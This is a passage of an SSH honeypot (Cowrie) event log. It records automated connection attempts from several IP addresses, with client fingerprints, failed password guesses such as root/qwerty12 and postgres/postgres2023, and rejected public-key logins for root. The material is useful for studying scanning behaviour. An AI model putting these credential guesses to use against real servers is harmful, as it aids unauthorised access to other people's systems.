{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:05:19.267343Z","src_ip":"193.32.162.145","session":"0d69748b2e89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:05:19.376178Z","src_ip":"193.32.162.145","session":"0d69748b2e89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"root","message":"login attempt [sol/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:05:19.720400Z","src_ip":"193.32.162.145","session":"0d69748b2e89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:05:20.830014Z","src_ip":"193.32.162.145","session":"0d69748b2e89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":55426,"dst_ip":"10.17.0.5","dst_port":22,"session":"89fed4a5e88f","protocol":"ssh","message":"New connection: 165.154.205.128:55426 (10.17.0.5:22) [session: 89fed4a5e88f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:05:48.134390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:05:48.138934Z","src_ip":"165.154.205.128","session":"89fed4a5e88f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:05:48.363627Z","src_ip":"165.154.205.128","session":"89fed4a5e88f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty12","message":"login attempt [root/qwerty12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:05:49.294246Z","src_ip":"165.154.205.128","session":"89fed4a5e88f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:05:50.521916Z","src_ip":"165.154.205.128","session":"89fed4a5e88f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":48036,"dst_ip":"10.17.0.5","dst_port":22,"session":"8638095f8069","protocol":"ssh","message":"New connection: 190.244.39.224:48036 (10.17.0.5:22) [session: 8638095f8069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:07:15.736096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:07:15.741465Z","src_ip":"190.244.39.224","session":"8638095f8069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:07:15.946138Z","src_ip":"190.244.39.224","session":"8638095f8069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres2023","message":"login attempt [postgres/postgres2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:07:16.777107Z","src_ip":"190.244.39.224","session":"8638095f8069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:07:17.978886Z","src_ip":"190.244.39.224","session":"8638095f8069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":38284,"dst_ip":"10.17.0.5","dst_port":22,"session":"0251e937a5d7","protocol":"ssh","message":"New connection: 14.224.213.222:38284 (10.17.0.5:22) [session: 0251e937a5d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:07:25.948665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:07:25.955500Z","src_ip":"14.224.213.222","session":"0251e937a5d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:07:26.206902Z","src_ip":"14.224.213.222","session":"0251e937a5d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin7","password":"admin7","message":"login attempt [admin7/admin7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:07:27.248224Z","src_ip":"14.224.213.222","session":"0251e937a5d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:07:28.501988Z","src_ip":"14.224.213.222","session":"0251e937a5d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":52516,"dst_ip":"159.203.135.109","dst_port":22,"session":"1238f68828ed","protocol":"ssh","message":"New connection: 193.32.162.145:52516 (159.203.135.109:22) [session: 1238f68828ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:07:29.015367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:07:29.020823Z","src_ip":"193.32.162.145","session":"1238f68828ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:07:29.161946Z","src_ip":"193.32.162.145","session":"1238f68828ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"moon","message":"login attempt [ubuntu/moon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:07:29.485316Z","src_ip":"193.32.162.145","session":"1238f68828ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:07:30.594277Z","src_ip":"193.32.162.145","session":"1238f68828ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.160.5","src_port":50164,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7dee0e390fa","protocol":"ssh","message":"New connection: 148.113.160.5:50164 (10.17.0.5:22) [session: f7dee0e390fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:08:15.069824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:08:15.075162Z","src_ip":"148.113.160.5","session":"f7dee0e390fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:08:15.094867Z","src_ip":"148.113.160.5","session":"f7dee0e390fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:46:ba:b9:60:54:a2:dc:32:25:ca:60:90:1f:78:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeSLTi2DYURTolmBJSWQT7QUWDud6I5PGKE93tSBjGOBUobPT9HSCBBxlwJ6uolrDpXZZ0RA360Yyfnpj8pCOy10FiURfUscI58Cgc05QaqpRPd6BKwQc2nizjMkArukXM9/oLUmTR82+hrfUH1+DqRGocWuLJQeijkzBRz43DjqyCrKdYQKmTRDVzqkKnqs3T8ntHCkblPxYHPmX7HqDu1HiQ6kSUcIlCCPqdXOVIGKU+wEUh76uvRQiZ4CS2Gtk/11EYoJVKmtQ8juvtyTlGL+yZkYDg6Br78KO1hkXc7+dxJA6GbRg6r0j2KR68Jba7UKkxDT8GyvOiujzSY4cb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:46:ba:b9:60:54:a2:dc:32:25:ca:60:90:1f:78:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:08:15.175066Z","src_ip":"148.113.160.5","session":"f7dee0e390fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:46:ba:b9:60:54:a2:dc:32:25:ca:60:90:1f:78:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeSLTi2DYURTolmBJSWQT7QUWDud6I5PGKE93tSBjGOBUobPT9HSCBBxlwJ6uolrDpXZZ0RA360Yyfnpj8pCOy10FiURfUscI58Cgc05QaqpRPd6BKwQc2nizjMkArukXM9/oLUmTR82+hrfUH1+DqRGocWuLJQeijkzBRz43DjqyCrKdYQKmTRDVzqkKnqs3T8ntHCkblPxYHPmX7HqDu1HiQ6kSUcIlCCPqdXOVIGKU+wEUh76uvRQiZ4CS2Gtk/11EYoJVKmtQ8juvtyTlGL+yZkYDg6Br78KO1hkXc7+dxJA6GbRg6r0j2KR68Jba7UKkxDT8GyvOiujzSY4cb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:08:15.184198Z","src_ip":"148.113.160.5","session":"f7dee0e390fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:66:de:5b:a9:49:6e:b8:47:ba:99:40:82:08:2f:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4AXV9C9Zlf3DvxnGk5rlCr0COxxrefGPpvdjGvXIBWPi1cGZYzOAcnrGk7IfAkJtbd6ktwMy06ty0lOInH0ENB7Olg/nta6Xhzouxc23saztoHLEjAHoRZ43W+Mh77ilhEna92qY5TMthPeKuzMg1w/jKIWvWPM4ZikIXMmadxCV+f8WPRZsWMiGi6jPL+Adno6slPySEdh4zU61L9QJ0Rh3cjVNccikA9sBLoAz/hfsqHQxQCx0koI1tAIridvXxHwc67aIkQiE7aC+OStHbRPEYipKw4dBt7SwwJttOnv0C6DQ5KzFUdbUFsyTAKObPRRjRJUdISqxwFMm3xLVXUqhAiAo7z8h/WUz7e7+KL0k6V5KXKb4tlhyXLh3JfD7pJmQ/Z5wO9hoLD3JGRbZnvtJo3I9qsjvPe9d/Nh74dDVegHn+hg4GBp7csVOdyXhiwee7EJ3hTAUwJkzIu6T+AfR5yhwpnMTGVuGz8YskLf2ioxoVtCf1ctshr5wd2VY4ShFTCnLkvGwgpBLM/tec4WxdI37jwjC7qIgCosNL+T/vVze2IzdcMFiOVCTHuuF/JCTOKTa4SotunrIX+FTTPj+/6MPw3RRboBObahLIY2NtTxazfW7QPpDqudGi0pABZMR3BUyEflU4UJuVQmt085iMO6tbLMbv0P4aUvg01w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:66:de:5b:a9:49:6e:b8:47:ba:99:40:82:08:2f:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:08:15.207366Z","src_ip":"148.113.160.5","session":"f7dee0e390fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:66:de:5b:a9:49:6e:b8:47:ba:99:40:82:08:2f:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4AXV9C9Zlf3DvxnGk5rlCr0COxxrefGPpvdjGvXIBWPi1cGZYzOAcnrGk7IfAkJtbd6ktwMy06ty0lOInH0ENB7Olg/nta6Xhzouxc23saztoHLEjAHoRZ43W+Mh77ilhEna92qY5TMthPeKuzMg1w/jKIWvWPM4ZikIXMmadxCV+f8WPRZsWMiGi6jPL+Adno6slPySEdh4zU61L9QJ0Rh3cjVNccikA9sBLoAz/hfsqHQxQCx0koI1tAIridvXxHwc67aIkQiE7aC+OStHbRPEYipKw4dBt7SwwJttOnv0C6DQ5KzFUdbUFsyTAKObPRRjRJUdISqxwFMm3xLVXUqhAiAo7z8h/WUz7e7+KL0k6V5KXKb4tlhyXLh3JfD7pJmQ/Z5wO9hoLD3JGRbZnvtJo3I9qsjvPe9d/Nh74dDVegHn+hg4GBp7csVOdyXhiwee7EJ3hTAUwJkzIu6T+AfR5yhwpnMTGVuGz8YskLf2ioxoVtCf1ctshr5wd2VY4ShFTCnLkvGwgpBLM/tec4WxdI37jwjC7qIgCosNL+T/vVze2IzdcMFiOVCTHuuF/JCTOKTa4SotunrIX+FTTPj+/6MPw3RRboBObahLIY2NtTxazfW7QPpDqudGi0pABZMR3BUyEflU4UJuVQmt085iMO6tbLMbv0P4aUvg01w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:08:15.211405Z","src_ip":"148.113.160.5","session":"f7dee0e390fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:51:03:8e:ab:d5:ca:bc:bb:11:66:a3:0c:b6:91:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPrfcHqjy76cTdsTaCuU3coFLWS0bKJ2KpZz3TBzN06V4/VKefkOQkWOehseE1UzikiWg9ROP1PXfDiFE/klPkAO++KJXCnHZmm5TvayOv1sKrcGAIO8tVqvdIyj5r8M+ThrUIcOLJfMjJKBWe2FKeMq+bICIHfKmyOhtySucO6QBSNUxEUaEaTUYiOs+p1LrmMW5/KvSXG4qPM/+aNm0tOICCgfsGves65L6z/kbxHjZSgJex+EoWvjmk0DJio18qt9jcLIIAbjfUlBBrWVkLo3sGpKGU9y0JUKGLFpl2nuF+dNeBPL0Fmai2Fh46hbJSr7NSol70qaBKaOhxcyfAYrwBvo9XFcN8vuIp6wt3XvyJK11sgiocEEoe/TAgdsUt/9CrLuHKZPmxvTfev83sBM3xGIbs4I4xkvaE+b41+cGZErf21iFxMaKi0Ma+xYRjUgGn+GSsGvtiAvwQoYeSwfTnqWj9mPr4sGdEorU4etNJfTTpMqqz+7UxeeOIdTi7rL3Bx1zrbEDyLV7ZDOsaSYGA4ZrdmApH3swpqvn9DKrrWSNxZCNxsBcDVghUcjUlpwJd4NGaIch887MVLzDmEgh2+miP2AwAKChJZjdi6LY1n7tQTylmDCCPWPOwwaOkM3Zx2stSlNIXhkAWKJ4FHfoclqtOHBY6SsCR8AiQNQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:51:03:8e:ab:d5:ca:bc:bb:11:66:a3:0c:b6:91:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:08:15.232936Z","src_ip":"148.113.160.5","session":"f7dee0e390fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:51:03:8e:ab:d5:ca:bc:bb:11:66:a3:0c:b6:91:62","key":"ssh-rsa 